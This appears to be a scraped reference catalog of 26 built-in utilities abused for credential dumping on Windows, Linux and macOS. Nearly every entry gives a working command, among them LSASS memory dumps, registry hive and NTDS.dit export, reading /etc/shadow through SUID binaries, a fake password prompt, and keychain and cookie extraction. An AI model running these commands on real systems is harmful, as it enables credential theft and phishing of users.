Credential Dumping LOLBins & Memory Extraction Tools
Adversaries abuse built-in utilities to extract sensitive plaintext credentials, Kerberos tickets, and password hashes from operating system memory (LSASS) or local configuration stores.
Utilities like procdump.exe, comsvcs.dll, taskmgr.exe, or osascript are weaponized to create memory dumps of lsass.exe or phish user credentials via native modal prompts.
Catalog of Credential Dump LOLBins
Displaying 26 itemsCmdkey.exe
creates, lists, and deletes stored user names and passwords or credentials.
cmdkey /listDiskshadow.exe
Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).
diskshadow.exe /s {PATH:.txt}Findstr.exe
Write to ADS, discover, or download files with Findstr.exe
findstr /S /I cpassword \\sysvol\policies\*.xmlrdrleakdiag.exe
Microsoft Windows resource leak diagnostic tool
rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1Reg.exe
Used to manipulate the registry
reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}Rpcping.exe
Used to verify rpc connection
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLMTttracer.exe
Used by Windows 1809 and newer to Debug Time Travel
TTTracer.exe -dumpFull -attach {PID}wbadmin.exe
Windows Backup Administration utility
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quietComsvcs.dll
COM+ Services
rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin fulladplus.exe
Debugging tool included with Windows Debugging Tools
adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quietCreatedump.exe
Microsoft .NET Runtime Crash Dump Generator (included in .NET Core)
createdump.exe -n -f {PATH:.dmp} {PID}dsdbutil.exe
Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.
dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"Dump64.exe
Memory dump tool that comes with Microsoft Visual Studio
dump64.exe {PID} out.dmpDumpMinitool.exe
Dump tool part Visual Studio 2022
DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Fullntdsutil.exe
Command line utility used to export Active Directory.
ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q qSqldumper.exe
Debugging utility included with Microsoft SQL.
sqldumper.exe 464 0 0x0110dd
Dd converts and copies raw files and disks. Attackers abuse SUID dd to read raw partitions, memory dumps, or extract protected shadow files.
dd if=/etc/shadow of=/tmp/shadow.bakhead
Head outputs the beginning of files. SUID head allows unauthorized users to read the initial lines of protected files like /etc/shadow or root SSH private keys.
head -n 50 /etc/shadowtail
Tail outputs the last part of files. SUID tail allows standard users to read protected credentials, tokens, and audit log entries.
tail -n +1 /etc/shadownl
Nl numbers lines from files. SUID nl enables unauthorized reading of sensitive files.
nl -ba /etc/shadowgrep
Grep searches for patterns in text files. When given SUID permissions, grep can extract passwords, hashes, and tokens from restricted files.
grep "" /etc/shadowsed
Sed is a stream editor for filtering and transforming text. SUID sed allows reading sensitive files or modifying configuration entries.
sed -e '' /etc/shadowdate
Date displays or sets system date and time. SUID date can be abused with the -f parameter to read files line-by-line via error messages.
date -f /etc/shadowosascript
Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.
osascript -e 'display dialog "System Update requires your password to continue:" default answer "" with hidden answer with icon caution'security
Security administers macOS Keychains, keys, certificates, and the Security framework. Attackers use it to dump user passwords, export certificates, or harvest plain-text credentials.
security dump-keychain -d login.keychainsqlite3
Sqlite3 queries SQLite databases. Attackers use it to query Chrome and Safari cookies, browsing history, and notes databases without launching browsers.
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Cookies "SELECT host_key, name, encrypted_value FROM cookies"Explore Other Attack Objectives & Tactics
